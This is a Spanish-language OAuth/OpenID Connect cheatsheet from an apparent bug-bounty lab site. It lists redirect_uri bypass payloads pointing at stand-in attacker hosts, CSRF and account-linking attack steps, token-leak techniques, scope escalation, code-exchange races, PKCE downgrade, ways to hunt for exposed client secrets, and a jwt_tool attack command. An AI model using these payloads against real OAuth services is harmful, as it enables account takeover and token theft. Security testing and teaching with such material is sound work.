Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet OAuth

OAuth / OpenID Connect

Referencia rápida

  • Siempre probar redirect_uri con subdominios, path traversal y open redirects del target
  • Si falta el parametro state, hay CSRF en el flujo OAuth - permite vincular cuenta atacante
  • Implicit flow (response_type=token) filtra tokens en URL, Referer y browser history
  • Buscar client_secret en codigo fuente JS, APKs de Android y repositorios Git
  • Combinar open redirect en dominio permitido + redirect_uri para token theft

Bypass de redirect_uri

Subdominio

redirect_uri=https://attacker.target.com/callback

Path traversal

redirect_uri=https://target.com/callback/../../../attacker.com

Fragment injection

redirect_uri=https://target.com/callback#@attacker.com

Open redirect en dominio permitidoOpen redirect + OAuth = token theft

redirect_uri=https://target.com/redirect?url=https://attacker.com

Localhost bypass

redirect_uri=http://localhost:8080/callback

URL encoding

redirect_uri=https://target.com%40attacker.com

Double encoding

redirect_uri=https://target.com%252f%252fattacker.com

CSRF en flujo OAuth

Sin parametro stateSin state = CSRF posible, vincular cuenta del atacante a la victima

https://oauth.provider.com/authorize?client_id=APP&redirect_uri=https://target.com/callback&response_type=code

State no verificadoProbar si el backend realmente valida el state

https://oauth.provider.com/authorize?client_id=APP&redirect_uri=https://target.com/callback&response_type=code&state=anything

Account linking CSRFAtacante puede hacer login como la victima via Google

1. Atacante inicia OAuth flow con su cuenta de Google
2. Intercepta el callback URL con el code
3. Envia la URL a la victima
4. La victima vincula la cuenta Google del atacante a su perfil

Token theft y leakage

Token en Referer header

1. OAuth usa response_type=token (implicit flow)
2. Token aparece en URL fragment
3. Pagina tiene recurso externo (imagen, script)
4. Token se filtra en Referer header al recurso externo

Token en browser history

Implicit flow almacena tokens en URL, visible en historial del navegador

Scope escalationAgregar scopes adicionales que el servidor no deberia permitir

https://oauth.provider.com/authorize?scope=openid+profile+email+admin

Misconfiguraciones avanzadas

Client secret expuestoCon client_secret se pueden intercambiar codes por tokens

Buscar client_secret en: JS del frontend, mobile APK, .env files, git history

Token reuse cross-service

Usar access_token de un servicio en otro servicio del mismo proveedor

Race condition en code exchangeEl code deberia ser de un solo uso

1. Obtener authorization code
2. Enviar multiples requests simultaneas de intercambio de code
3. Obtener multiples access tokens del mismo code

PKCE downgradeSi el servidor no fuerza PKCE, se puede usar flujo sin PKCE

Eliminar code_challenge y code_verifier del flujo

Herramientas

Burp Suite OAuth flow

Interceptar y modificar cada paso del flujo OAuth para testing manual

Burp > Proxy > Interceptar flujo OAuth completo

oauth-tools

Extension de Burp para detectar automaticamente vulnerabilidades OAuth

Burp Extensions > OAuth tools by James Kettle

JWT Tool para tokens OAuth

Analizar y atacar access tokens JWT emitidos por OAuth providers

python3 jwt_tool.py <access_token> -M at

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica